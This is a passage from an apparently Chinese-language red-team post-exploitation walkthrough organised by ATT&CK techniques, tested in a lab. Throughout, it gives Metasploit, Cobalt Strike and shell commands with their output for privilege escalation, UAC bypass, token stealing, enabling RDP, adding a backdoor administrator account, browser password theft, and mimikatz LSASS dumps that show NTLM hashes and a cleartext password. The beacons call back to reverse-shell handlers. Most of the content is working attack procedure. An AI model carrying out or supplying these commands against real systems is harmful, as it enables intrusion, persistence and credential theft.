  157. swprv LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k swprv
  158. vds LocalSystem Manual C:\WINDOWS\System32\vds.exe
  159. vmvss LocalSystem Manual C:\WINDOWS\system32\dllhost.exe /Processid:{64F3ADCF-113F-4FD8-B7EE-76884E9E75E6}
  160. winmgmt LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
  161. wuauserv LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
  162. xmlprov LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k netsvcs
  163. [+] Loot file stored in: /root/.msf4/loot/20190907144835_default_192.168.2.114_windows.services_639665.txt
  164. [*] Post module execution completed

cs下操作:

explore -- > process list

截图_2019-09-07_14-53-28.png

Service Registry Permissions Weakness(注册权限不足)

Check for common privilege escalation methods

termianal下操作:

powershell.exe -epbypass PowerUp.ps1

Invoke-AllChecks

msf下操作:

exploit/windows/local/trusted_service_path

cs下操作:

powershell-import /path/to/PowerUp.ps1

powershell Invoke-AllChecks

Exploitation for Privilege Escalation(利用漏洞提权)

Elevate to SYSTEM level process(提权至system)

msf下操作:

getsystem

getsystem工作原理:

然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程

有三种工作方式

0 : All techniques available
    1 : Named Pipe Impersonation (In Memory/Admin)1:命名管道模拟(在内存/管理中)
    2 : Named Pipe Impersonation (Dropper/Admin)2:命名管道模拟(Dropper/Admin)
    3 : Token Duplication (In Memory/Admin)3:令牌复制(在内存/管理中)
  1. meterpreter > getsystem
  2. ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
  3. meterpreter > whoami
  4. [-] Unknown command: whoami.
  5. meterpreter > getuid
  6. Server username: NT AUTHORITY\SYSTEM

cs下操作:

getsystem

  1. beacon> getsystem
  2. [*] Tasked beacon to get SYSTEM
  3. [+] host called home, sent: 100 bytes
  4. [+] Impersonated NT AUTHORITY\SYSTEM

Permission Groups Discovery(权限组发现)

Enumerate local Admin accounts(本地账户枚举)

terminal下操作:

net localgroup "Administrators"

  1. PS C:\Users\Administrator\Desktop\powrshell> net localgroup "Administrators"
  2. 别名 Administrators
  3. 注释 管理员对计算机/域有不受限制的完全访问权
  4. 成员
  5. -------------------------------------------------------------------------------
  6. Administrator
  7. 命令成功完成。

msf下操作:

post/windows/gather/local_admin_search_enum

  1. msf5 post(windows/gather/local_admin_search_enum) > exploit
  2. [-] Running as SYSTEM, module should be run with USER level rights
  3. [*] Scanned 1 of 1 hosts (100% complete)
  4. [*] Post module execution completed

cs下操作:

shell net localgroup "Administrators"

  1. beacon> shell net localgroup "Administrators"
  2. [*] Tasked beacon to run: net localgroup "Administrators"
  3. [+] host called home, sent: 62 bytes
  4. [-] could not spawn C:\WINDOWS\system32\cmd.exe /C net localgroup "Administrators" (token): 1349

Get domain admin accounts(域管理账户枚举)

terminal下操作:

net group ["Domain Admins"] /domain[:DOMAIN]

  1. PS C:\Users\Administrator\Desktop\powrshell> net group /domain
  2. 这项请求将在域 WORKGROUP 的域控制器处理。
  3. 发生系统错误 1355
  4. 指定的域不存在,或无法联系。

msf下操作:

post/windows/gather/enum_domain_group_users

  1. msf5 post(windows/gather/enum_domain_group_users) > exploit
  2. [*] Running module against ROOT-5DE52AC98B
  3. [-] Post failed: NoMethodError undefined method `each' for nil:NilClass
  4. [-] Call stack:
  5. [-] /usr/share/metasploit-framework/modules/post/windows/gather/enum_domain_group_users.rb:77:in `get_members'
  6. [-] /usr/share/metasploit-framework/modules/post/windows/gather/enum_domain_group_users.rb:42:in `run'
  7. [*] Post module execution completed

cs下操作:

net group ["Domain Admins"] /domain

Remote Desktop Protocol

Enable RDP Services(开启RDP服务)

terminal下操作:

  1. REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  2. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  3. net start TermService
  1. PS C:\Users\Administrator\Desktop\powrshell> REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\
  2. RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  3. 操作成功完成。
  4. PS C:\Users\Administrator\Desktop\powrshell> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Serve
  5. r" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  6. 操作成功完成。
  7. PS C:\Users\Administrator\Desktop\powrshell> net start TermService
  8. 请求的服务已经启动。
  9. 请键入 NET HELPMSG 2182 以获得更多的帮助。

 msf下操作:

post/windows/manage/enable_rdp

  1. msf5 post(windows/manage/enable_rdp) > exploit
  2. [*] Enabling Remote Desktop
  3. [*] RDP is disabled; enabling it ...
  4. [*] Setting Terminal Services service startup mode
  5. [*] The Terminal Services service is not set to auto, changing it to auto ...
  6. [*] Opening port in local firewall if necessary
  7. [*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20190907201411_default_192.168.2.114_host.windows.cle_731683.txt
  8. [*] Post module execution completed

cs下操作:

  1. shell REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  2. shell reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  3. shell net start TermService
  4. explore --> desktop

Credentials in Files(在文件中获取凭证)

Collect passwords from web browsers(在浏览器中获取密码)

https://github.com/AlessandroZ/LaZagne

https://github.com/hassaanaliw/chromepass

terminal下操作:

laZagne.exe browsers [-f]

  1. PS C:\Users\Administrator\Desktop\powrshell> C:\Users\Administrator\Desktop\lazagne.exe browsers -f
  2. |====================================================================|
  3. | |
  4. | The LaZagne Project |
  5. | |
  6. | ! BANG BANG ! |
  7. | |
  8. |====================================================================|
  9. [+] System masterkey decrypted for a02f012c-b6ff-48b9-8b07-5a2ea73628d6
  10. [+] System masterkey decrypted for 56e7df96-74cb-45af-95ed-f15706dcff3e
  11. [+] 0 passwords have been found.
  12. For more information launch it again with the -v option
  13. elapsed time = 0.952999830246

System Information Discovery(系统信息发现)

Get Windows version(windows版本获取)

terminal下操作:

ver

  1. C:\Users\Administrator\Desktop\powrshell>ver
  2. Microsoft Windows [版本 10.0.17763.593]

cs下操作:

shell ver

Print environment variables(环境变量输出)

terminal下操作:

set

  1. C:\Users\Administrator\Desktop\powrshell>set
  2. ALLUSERSPROFILE=C:\ProgramData
  3. APPDATA=C:\Users\Administrator\AppData\Roaming
  4. CommonProgramFiles=C:\Program Files\Common Files
  5. CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
  6. CommonProgramW6432=C:\Program Files\Common Files
  7. COMPUTERNAME=DESKTOP-QQF0MLN
  8. ComSpec=C:\Windows\system32\cmd.exe
  9. DriverData=C:\Windows\System32\Drivers\DriverData
  10. FPS_BROWSER_APP_PROFILE_STRING=Internet Explorer
  11. FPS_BROWSER_USER_PROFILE_STRING=Default
  12. HOMEDRIVE=C:
  13. HOMEPATH=\Users\Administrator
  14. LOCALAPPDATA=C:\Users\Administrator\AppData\Local
  15. LOGONSERVER=\\DESKTOP-QQF0MLN
  16. NUMBER_OF_PROCESSORS=2
  17. OS=Windows_NT
  18. Path=C:\Program Files (x86)\NetSarang\Xftp 6\;C:\Program Files (x86)\NetSarang\Xshell 6\;C:\Program Files
  19. iles\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\Win
  20. v1.0\;C:\python3;C:\python3\Scripts;C:\Python27;C:\Python27\Scripts;C:\python3\Scripts\;C:\python3\;C:\Us
  21. or\AppData\Local\Microsoft\WindowsApps;
  22. PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
  23. PROCESSOR_ARCHITECTURE=AMD64
  24. PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 158 Stepping 10, GenuineIntel
  25. PROCESSOR_LEVEL=6
  26. PROCESSOR_REVISION=9e0a
  27. ProgramData=C:\ProgramData
  28. ProgramFiles=C:\Program Files
  29. ProgramFiles(x86)=C:\Program Files (x86)
  30. ProgramW6432=C:\Program Files
  31. PROMPT=$P$G
  32. PSModulePath=C:\Users\Administrator\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShel
  33. ndows\system32\WindowsPowerShell\v1.0\Modules
  34. PUBLIC=C:\Users\Public
  35. SESSIONNAME=Console
  36. SystemDrive=C:
  37. SystemRoot=C:\Windows
  38. TEMP=C:\Users\ADMINI~1\AppData\Local\Temp
  39. TMP=C:\Users\ADMINI~1\AppData\Local\Temp
  40. USERDOMAIN=DESKTOP-QQF0MLN
  41. USERDOMAIN_ROAMINGPROFILE=DESKTOP-QQF0MLN
  42. USERNAME=Administrator
  43. USERPROFILE=C:\Users\Administrator
  44. windir=C:\Windows

cs下操作:

shell set

Get computer information(computer信息获取)

terminal下操作:

net config workstation

net config server

  1. C:\Users\Administrator\Desktop\powrshell>net config workstation
  2. 计算机名 \\DESKTOP-QQF0MLN
  3. 计算机全名 DESKTOP-QQF0MLN
  4. 用户名 Administrator
  5. 工作站正运行于
  6. NetBT_Tcpip_{D56C33AF-9F2F-4E8B-90F2-A5FB6CAA3D90} (000C29D73FB2)
  7. 软件版本 Windows 10 Enterprise LTSC 2019
  8. 工作站域 WORKGROUP
  9. 登录域 DESKTOP-QQF0MLN
  10. COM 打开超时 (秒) 0
  11. COM 发送计数 (字节) 16
  12. COM 发送超时 (毫秒) 250
  13. 命令成功完成。
  14. C:\Users\Administrator\Desktop\powrshell>net config server
  15. 服务器名称 \\DESKTOP-QQF0MLN
  16. 服务器注释
  17. 软件版本 Windows 10 Enterprise LTSC 2019
  18. 服务器正运行于
  19. NetbiosSmb (DESKTOP-QQF0MLN)
  20. NetBT_Tcpip_{D56C33AF-9F2F-4E8B-90F2-A5FB6CAA3D90} (DESKTOP-QQF0MLN)
  21. 服务器已隐藏 No
  22. 登录的用户数量上限 20
  23. 每个会话打开的文件数量上限 16384
  24. 空闲的会话时间 (分) 15
  25. 命令成功完成。

cs下操作:

shell net config workstation

shell net config server

Get configuration information(配置信息获取)

terminal下操作:

systeminfo [/s COMPNAME] [/u DOMAIN\user] [/p password]

截图_2019-09-07_20-39-48.png

msf下操作:

sysinfo

run winenum

  1. meterpreter > sysinfo
  2. Computer : ROOT-5DE52AC98B
  3. OS : Windows .NET Server (Build 3790, Service Pack 2).
  4. Architecture : x86
  5. System Language : zh_CN
  6. Domain : WORKGROUP
  7. Logged On Users : 2
  8. Meterpreter : x86/windows
  9. meterpreter > run winenum
  10. [*] Running Windows Local Enumeration Meterpreter Script
  11. [*] New session on 192.168.2.114:1068...
  12. [*] Saving general report to /root/.msf4/logs/scripts/winenum/ROOT-5DE52AC98B_20190907.4112/ROOT-5DE52AC98B_20190907.4112.txt
  13. [*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/ROOT-5DE52AC98B_20190907.4112
  14. [*] Checking if ROOT-5DE52AC98B is a Virtual Machine ........
  15. [*] This is a VMware Workstation/Fusion Virtual Machine
  16. [*] UAC is Disabled
  17. [*] Running Command List ...
  18. [*] running command cmd.exe /c set
  19. [*] running command ipconfig /displaydns
  20. [*] running command arp -a
  21. [*] running command netstat -nao
  22. [*] running command netstat -vb
  23. [*] running command route print
  24. [*] running command netstat -ns
  25. [*] running command ipconfig /all
  26. [*] running command net view
  27. [*] running command net accounts
  28. [*] running command net view /domain
  29. [*] running command net share
  30. [*] running command net group
  31. [*] running command net user
  32. [*] running command net localgroup
  33. [*] running command net localgroup administrators
  34. [*] running command net group administrators
  35. [*] running command netsh firewall show config
  36. [*] running command tasklist /svc
  37. [*] running command net session
  38. [*] running command gpresult /SCOPE COMPUTER /Z
  39. [*] running command gpresult /SCOPE USER /Z
  40. [*] Running WMIC Commands ....
  41. [*] running command wmic group list
  42. [*] running command wmic nteventlog get path,filename,writeable
  43. [*] running command wmic useraccount list
  44. [*] running command wmic netclient list brief
  45. [*] running command wmic share get name,path
  46. [*] running command wmic volume list brief
  47. [*] running command wmic logicaldisk get description,filesystem,name,size
  48. [*] running command wmic service list brief
  49. [*] running command wmic netlogin get name,lastlogon,badpasswordcount
  50. [*] running command wmic netuse get name,username,connectiontype,localname
  51. [*] running command wmic rdtoggle list
  52. [*] running command wmic startup list full
  53. [*] running command wmic qfe
  54. [*] running command wmic product get name,version
  55. [*] Extracting software list from registry
  56. [*] Dumping password hashes...
  57. [*] Hashes Dumped
  58. [*] Getting Tokens...
  59. [*] All tokens have been processed
  60. [*] Done!

cs下操作:

shell systeminfo

Account Discovery(认证枚举)

Gather more information on targeted users(收集更多的目标用户信息)

terminal下操作:

net user [username] [/domain]

  1. C:\Users\Administrator\Desktop\powrshell>net user administrator
  2. 用户名 Administrator
  3. 全名
  4. 注释 管理计算机(域)的内置帐户
  5. 用户的注释
  6. 国家/地区代码 000 (系统默认值)
  7. 帐户启用 Yes
  8. 帐户到期 从不
  9. 上次设置密码 2019-7-14 23:28:47
  10. 密码到期 从不
  11. 密码可更改 2019-7-14 23:28:47
  12. 需要密码 Yes
  13. 用户可以更改密码 Yes
  14. 允许的工作站 All
  15. 登录脚本
  16. 用户配置文件
  17. 主目录
  18. 上次登录 2019-9-7 10:08:43
  19. 可允许的登录小时数 All
  20. 本地组成员 *Administrators
  21. 全局组成员 *None
  22. 命令成功完成。

msf下操作:

post/windows/gather/enum_ad_users

auxiliary/scanner/smb/smb_enumusers

  1. msf5 post(windows/gather/enum_ad_users) > exploit
  2. [-] Unable to find the domain to query.
  3. [*] Post module execution completed

Query Active Directory for users, groups and permissions(查询Active Directory中的用户、组和权限)

terminal下操作:

  1. dsquery group "ou=Domain Admins,dc=domain,dc=com"
  2. dsquery user "dc=domain,dc=com"
  3. dsquery * OU="Domain Admins",DC=domain,DC=com -scope base -attr SAMAccountName userPrincipalName Description
  4. dsquery * -filter "(&(objectCategory=contact)(objectCategory=person)(mail=*)(objectClass=user))" -Attr samAccountName mail -Limit 0
  5. dsquery * -filter "(&(objectCategory=group)(name=*Admin*))" -Attr name description members

Bypass User Account Control

bypass UAC

msf下操作:

exploit/windows/local/bypassuac

exploit/windows/local/bypassuac_injection

exploit/windows/local/bypassuac_vbs

  1. msf5 exploit(windows/local/bypassuac) > exploit
  2. [*] Started reverse TCP handler on 192.168.2.103:4444
  3. [-] Exploit aborted due to failure: none: Already in elevated state
  4. [*] Exploit completed, but no session was created.
  5. msf5 exploit(windows/local/bypassuac_injection) > exploit
  6. [*] Started reverse TCP handler on 192.168.2.103:4444
  7. [-] Exploit aborted due to failure: none: Already in elevated state
  8. [*] Exploit completed, but no session was created.
  9. msf5 exploit(windows/local/bypassuac_vbs) > exploit
  10. [*] Started reverse TCP handler on 192.168.2.103:4444
  11. [-] Exploit aborted due to failure: none: Already in elevated state
  12. [*] Exploit completed, but no session was created.

cs下操作:

access --> elevate

  1. beacon> elevate uac-dll test
  2. [*] Tasked beacon to spawn windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity process
  3. [+] host called home, sent: 101435 bytes
  4. [+] received output:
  5. [*] Wrote hijack DLL to 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\9970.dll'
  6. [-] Privileged file copy failed: C:\WINDOWS\System32\sysprep\CRYPTBASE.dll
  7. beacon> elevate uac-eventvwr test
  8. [*] Tasked Beacon to run windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity context
  9. [+] host called home, sent: 2798 bytes
  10. [+] host called home, sent: 2498 bytes
  11. [+] host called home, sent: 125001 bytes
  12. [-] could not spawn C:\WINDOWS\system32\rundll32.exe (token): 1349
  13. [-] Could not connect to pipe: 2
  14. beacon> elevate uac-token-duplication test
  15. [+] host called home, sent: 3545 bytes
  16. [*] Tasked beacon to spawn windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity process (token duplication)
  17. [+] host called home, sent: 79378 bytes
  18. [+] received output:
  19. [-] You're already in a high integrity context.
  20. beacon> elevate uac-wscript test
  21. [*] Tasked Beacon to run windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity context
  22. [+] host called home, sent: 2802 bytes
  23. [+] host called home, sent: 128999 bytes
  24. [-] could not spawn C:\WINDOWS\system32\rundll32.exe (token): 1349
  25. [-] Could not connect to pipe: 2

Access Token Manipulation(访问令牌操作)

原理:

  1. Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.
  2. 简单来说就是攻击者可以使用访问令牌在不同的用户或系统安全上下文中操作,以执行操作和逃避检测。攻击者可以使用内置的Windows API函数从现有进程复制访问令牌;这就是所谓的令牌窃取
  3. 常用方法:
  4. ` 令牌模拟/盗窃
  5. ` 使用令牌创建进程
  6. ` Make和Impersonate令牌
  7. 注:任何标准用户都可以使用runas命令和Windows API函数创建模拟令牌;它不需要访问管理员帐户

Token stealing(令牌窃取)

msf下操作:

  1. use incognito
  2. list_tokens -u
  3. impersonate_token DOMAIN\\User
  4. or:
  5. steal_token {pid}
  1. meterpreter > use incognito
  2. Loading extension incognito...Success.
  3. meterpreter > list_tokens -u
  4. Delegation Tokens Available
  5. ========================================
  6. NT AUTHORITY\LOCAL SERVICE
  7. NT AUTHORITY\NETWORK SERVICE
  8. NT AUTHORITY\SYSTEM
  9. ROOT-5DE52AC98B\Administrator
  10. Impersonation Tokens Available
  11. ========================================
  12. NT AUTHORITY\ANONYMOUS LOGON

cs下操作:

steal_token pid

  1. beacon> steal_token 1228
  2. [*] Tasked beacon to steal token from PID 1228
  3. [+] host called home, sent: 12 bytes

Network Share Discovery (网络共享发现)

Dump network shared resource information(输出网络共享资源信息)

terminal下操作:

net share

  1. C:\Users\Administrator\Desktop\powrshell>net share
  2. 共享名 资源 注解
  3. -------------------------------------------------------------------------------
  4. C$ C:\ 默认共享
  5. D$ D:\ 默认共享
  6. IPC$ 远程 IPC
  7. ADMIN$ C:\Windows 远程管理
  8. 命令成功完成。

msf下操作:

auxiliary/scanner/smb/smb_enumshares

  1. msf5 auxiliary(scanner/smb/smb_enumshares) > exploit
  2. [-] 192.168.2.114:139 - Login Failed: Unable to Negotiate with remote host
  3. [*] 192.168.2.114: - Scanned 1 of 1 hosts (100% complete)
  4. [*] Auxiliary module execution completed

cs下操作:

shell net share

List of workstations and network devices(工作组和网络设备列表)

terminal下操作:

net view \host /all [/domain:domain]

  1. C:\Users\Administrator\Desktop\powrshell>net view /all
  2. 发生系统错误 6118
  3. 此工作组的服务器列表当前无法使用

msf下操作:

auxiliary/scanner/smb/smb_enumshares

cs下操作:

net view \host /domain

Create Account(创建认证)

Create backdoor user account(创建后门用户帐户)

terminal下操作:

  1. net user support_388945a0 somepasswordhere /add /y
  2. net localgroup administrators support_388945a0 /add
  3. net localgroup "remote desktop users" support_388945a0 /add
  1. C:\Users\Administrator\Desktop\powrshell>net user support_388945a0 somepasswordhere /add /y
  2. 命令成功完成。
  3. C:\Users\Administrator\Desktop\powrshell>net localgroup administrators support_388945a0 /add
  4. 命令成功完成。
  5. C:\Users\Administrator\Desktop\powrshell>net localgroup "remote desktop users"
  6. 别名 remote desktop users
  7. 注释 此组中的成员被授予远程登录的权限
  8. 成员
  9. -------------------------------------------------------------------------------
  10. 命令成功完成。
  11. C:\Users\Administrator\Desktop\powrshell>support_388945a0 /add
  12. 'support_388945a0' 不是内部或外部命令,也不是可运行的程序
  13. 或批处理文件。
  14. C:\Users\Administrator\Desktop\powrshell>net user
  15. \\DESKTOP-QQF0MLN 的用户帐户
  16. -------------------------------------------------------------------------------
  17. Administrator DefaultAccount Guest
  18. support_388945a0 WDAGUtilityAccount
  19. 命令成功完成。

msf下操作:

post/windows/manage/add_user_domain

  1. msf5 post(windows/manage/add_user_domain) > exploit
  2. [*] Running module on ROOT-5DE52AC98B
  3. [-] This host is not part of a domain.
  4. [*] Post module execution completed

cs下操作:

  1. shell net user support_388945a0 somepasswordhere /add /y
  2. shell net localgroup administrators support_388945a0 /add
  3. shell net localgroup "remote desktop users" support_388945a0 /add

Enable "support_388945a0" account(启用“support_388945a0”账户)

terminal下操作:

  1. net user support_388945a0 /active:yes
  2. net localgroup administrators support_388945a0 /add
  3. net localgroup "remote desktop users" support_388945a0 /add

cs下操作:

  1. shell net user support_388945a0 /active:yes
  2. shell net localgroup administrators support_388945a0 /add
  3. shell net localgroup "remote desktop users" support_388945a0 /add

Data Destruction(数据销毁)

Dump credentials from LSASS(从LSASS转储凭据)

cs下操作:

  1. mimikatz !sekurlsa::logonpasswords
  2. mimikatz !sekurlsa::msv
  3. mimikatz !sekurlsa::kerberos
  4. mimikatz !sekurlsa::wdigest
  1. beacon> mimikatz !sekurlsa::logonpasswords
  2. [*] Tasked beacon to run mimikatz's !sekurlsa::logonpasswords command
  3. [+] host called home, sent: 841299 bytes
  4. [+] received output:
  5. Authentication Id : 0 ; 996 (00000000:000003e4)
  6. Session : Service from 0
  7. User Name : NETWORK SERVICE
  8. Domain : NT AUTHORITY
  9. Logon Server : (null)
  10. Logon Time : 2019-9-7 10:11:34
  11. SID : S-1-5-20
  12. msv :
  13. [00000002] Primary
  14. * Username : ROOT-5DE52AC98B$
  15. * Domain : WORKGROUP
  16. * LM : aad3b435b51404eeaad3b435b51404ee
  17. * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
  18. * SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
  19. wdigest :
  20. * Username : ROOT-5DE52AC98B$
  21. * Domain : WORKGROUP
  22. * Password : (null)
  23. kerberos :
  24. * Username : root-5de52ac98b$
  25. * Domain : WORKGROUP
  26. * Password : (null)
  27. ssp :
  28. credman :
  29. Authentication Id : 0 ; 333357 (00000000:0005162d)
  30. Session : Interactive from 0
  31. User Name : Administrator
  32. Domain : ROOT-5DE52AC98B
  33. Logon Server : ROOT-5DE52AC98B
  34. Logon Time : 2019-9-7 10:15:25
  35. SID : S-1-5-21-1911985068-4225083820-4011728908-500
  36. msv :
  37. [00000002] Primary
  38. * Username : Administrator
  39. * Domain : ROOT-5DE52AC98B
  40. * LM : 44efce164ab921caaad3b435b51404ee
  41. * NTLM : 32ed87bdb5fdc5e9cba88547376818d4
  42. * SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
  43. wdigest :
  44. * Username : Administrator
  45. * Domain : ROOT-5DE52AC98B
  46. * Password : 123456
  47. kerberos :
  48. * Username : Administrator
  49. * Domain : ROOT-5DE52AC98B
  50. * Password : 123456
  51. ssp :
  52. credman :
  53. Authentication Id : 0 ; 997 (00000000:000003e5)
  54. Session : Service from 0
  55. User Name : LOCAL SERVICE
  56. Domain : NT AUTHORITY
  57. Logon Server : (null)
  58. Logon Time : 2019-9-7 10:11:34
  59. SID : S-1-5-19
  60. msv :
  61. wdigest :
  62. kerberos :
  63. * Username : (null)
  64. * Domain : (null)
  65. * Password : (null)
  66. ssp :
  67. credman :
  68. Authentication Id : 0 ; 53191 (00000000:0000cfc7)
  69. Session : UndefinedLogonType from 0
  70. User Name : (null)
  71. Domain : (null)
  72. Logon Server : (null)
  73. Logon Time : 2019-9-7 10:11:34
  74. SID :
  75. msv :
  76. wdigest :
  77. kerberos :
  78. ssp :
  79. credman :
  80. Authentication Id : 0 ; 999 (00000000:000003e7)
  81. Session : UndefinedLogonType from 0
  82. User Name : ROOT-5DE52AC98B$
  83. Domain : WORKGROUP
  84. Logon Server : (null)
  85. Logon Time : 2019-9-7 10:11:34
  86. SID : S-1-5-18
  87. msv :
  88. wdigest :
  89. kerberos :
  90. * Username : root-5de52ac98b$
  91. * Domain : WORKGROUP
  92. * Password : (null)
  93. ssp :
  94. credman :
  95. beacon> mimikatz !sekurlsa::msv
  96. [*] Tasked beacon to run mimikatz's !sekurlsa::msv command
  97. [+] host called home, sent: 841288 bytes
  98. [+] received output:
  99. Authentication Id : 0 ; 996 (00000000:000003e4)
  100. Session : Service from 0
  101. User Name : NETWORK SERVICE
  102. Domain : NT AUTHORITY
  103. Logon Server : (null)
  104. Logon Time : 2019-9-7 10:11:34
  105. SID : S-1-5-20
  106. msv :
  107. [00000002] Primary
  108. * Username : ROOT-5DE52AC98B$
  109. * Domain : WORKGROUP
  110. * LM : aad3b435b51404eeaad3b435b51404ee
  111. * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
  112. * SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
  113. Authentication Id : 0 ; 333357 (00000000:0005162d)
  114. Session : Interactive from 0
  115. User Name : Administrator
  116. Domain : ROOT-5DE52AC98B
  117. Logon Server : ROOT-5DE52AC98B
  118. Logon Time : 2019-9-7 10:15:25
  119. SID : S-1-5-21-1911985068-4225083820-4011728908-500
  120. msv :
  121. [00000002] Primary
  122. * Username : Administrator
  123. * Domain : ROOT-5DE52AC98B
  124. * LM : 44efce164ab921caaad3b435b51404ee
  125. * NTLM : 32ed87bdb5fdc5e9cba88547376818d4
  126. * SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
  127. Authentication Id : 0 ; 997 (00000000:000003e5)
  128. Session : Service from 0
  129. User Name : LOCAL SERVICE
  130. Domain : NT AUTHORITY
  131. Logon Server : (null)
  132. Logon Time : 2019-9-7 10:11:34
  133. SID : S-1-5-19
  134. msv :
  135. Authentication Id : 0 ; 53191 (00000000:0000cfc7)
  136. Session : UndefinedLogonType from 0
  137. User Name : (null)
  138. Domain : (null)
  139. Logon Server : (null)
  140. Logon Time : 2019-9-7 10:11:34
  141. SID :
  142. msv :
  143. Authentication Id : 0 ; 999 (00000000:000003e7)
  144. Session : UndefinedLogonType from 0
  145. User Name : ROOT-5DE52AC98B$
  146. Domain : WORKGROUP
  147. Logon Server : (null)
  148. Logon Time : 2019-9-7 10:11:34
  149. SID : S-1-5-18
  150. msv :
  151. beacon> mimikatz !sekurlsa::kerberos
  152. [*] Tasked beacon to run mimikatz's !sekurlsa::kerberos command
  153. [+] host called home, sent: 841293 bytes
  154. [+] received output:
  155. Authentication Id : 0 ; 996 (00000000:000003e4)
  156. Session : Service from 0
  157. User Name : NETWORK SERVICE
  158. Domain : NT AUTHORITY
  159. Logon Server : (null)
  160. Logon Time : 2019-9-7 10:11:34
  161. SID : S-1-5-20
  162. kerberos :
  163. * Username : root-5de52ac98b$
  164. * Domain : WORKGROUP
  165. * Password : (null)
  166. Authentication Id : 0 ; 333357 (00000000:0005162d)
  167. Session : Interactive from 0
  168. User Name : Administrator
  169. Domain : ROOT-5DE52AC98B
  170. Logon Server : ROOT-5DE52AC98B
  171. Logon Time : 2019-9-7 10:15:25
  172. SID : S-1-5-21-1911985068-4225083820-4011728908-500
  173. kerberos :
  174. * Username : Administrator
  175. * Domain : ROOT-5DE52AC98B
  176. * Password : 123456
  177. Authentication Id : 0 ; 997 (00000000:000003e5)
  178. Session : Service from 0
  179. User Name : LOCAL SERVICE
  180. Domain : NT AUTHORITY
  181. Logon Server : (null)
  182. Logon Time : 2019-9-7 10:11:34
  183. SID : S-1-5-19
  184. kerberos :
  185. * Username : (null)
  186. * Domain : (null)
  187. * Password : (null)
  188. Authentication Id : 0 ; 53191 (00000000:0000cfc7)
  189. Session : UndefinedLogonType from 0
  190. User Name : (null)
  191. Domain : (null)
  192. Logon Server : (null)
  193. Logon Time : 2019-9-7 10:11:34
  194. SID :
  195. kerberos :
  196. Authentication Id : 0 ; 999 (00000000:000003e7)
  197. Session : UndefinedLogonType from 0
  198. User Name : ROOT-5DE52AC98B$
  199. Domain : WORKGROUP
  200. Logon Server : (null)
  201. Logon Time : 2019-9-7 10:11:34
  202. SID : S-1-5-18
  203. kerberos :
  204. * Username : root-5de52ac98b$
  205. * Domain : WORKGROUP
  206. * Password : (null)
  207. beacon> mimikatz !sekurlsa::wdigest
  208. [*] Tasked beacon to run mimikatz's !sekurlsa::wdigest command
  209. [+] host called home, sent: 841292 bytes
  210. [+] received output:
  211. Authentication Id : 0 ; 996 (00000000:000003e4)
  212. Session : Service from 0
  213. User Name : NETWORK SERVICE
  214. Domain : NT AUTHORITY
  215. Logon Server : (null)
  216. Logon Time : 2019-9-7 10:11:34
  217. SID : S-1-5-20
  218. wdigest :
  219. * Username : ROOT-5DE52AC98B$
  220. * Domain : WORKGROUP
  221. * Password : (null)
  222. Authentication Id : 0 ; 333357 (00000000:0005162d)
  223. Session : Interactive from 0
  224. User Name : Administrator
  225. Domain : ROOT-5DE52AC98B
  226. Logon Server : ROOT-5DE52AC98B
  227. Logon Time : 2019-9-7 10:15:25
  228. SID : S-1-5-21-1911985068-4225083820-4011728908-500
  229. wdigest :
  230. * Username : Administrator
  231. * Domain : ROOT-5DE52AC98B
  232. * Password : 123456
  233. Authentication Id : 0 ; 997 (00000000:000003e5)
  234. Session : Service from 0
  235. User Name : LOCAL SERVICE
  236. Domain : NT AUTHORITY
  237. Logon Server : (null)
  238. Logon Time : 2019-9-7 10:11:34
  239. SID : S-1-5-19
  240. wdigest :
  241. Authentication Id : 0 ; 53191 (00000000:0000cfc7)
  242. Session : UndefinedLogonType from 0
  243. User Name : (null)
  244. Domain : (null)
  245. Logon Server : (null)
  246. Logon Time : 2019-9-7 10:11:34
  247. SID :
  248. wdigest :
  249. Authentication Id : 0 ; 999 (00000000:000003e7)
  250. Session : UndefinedLogonType from 0
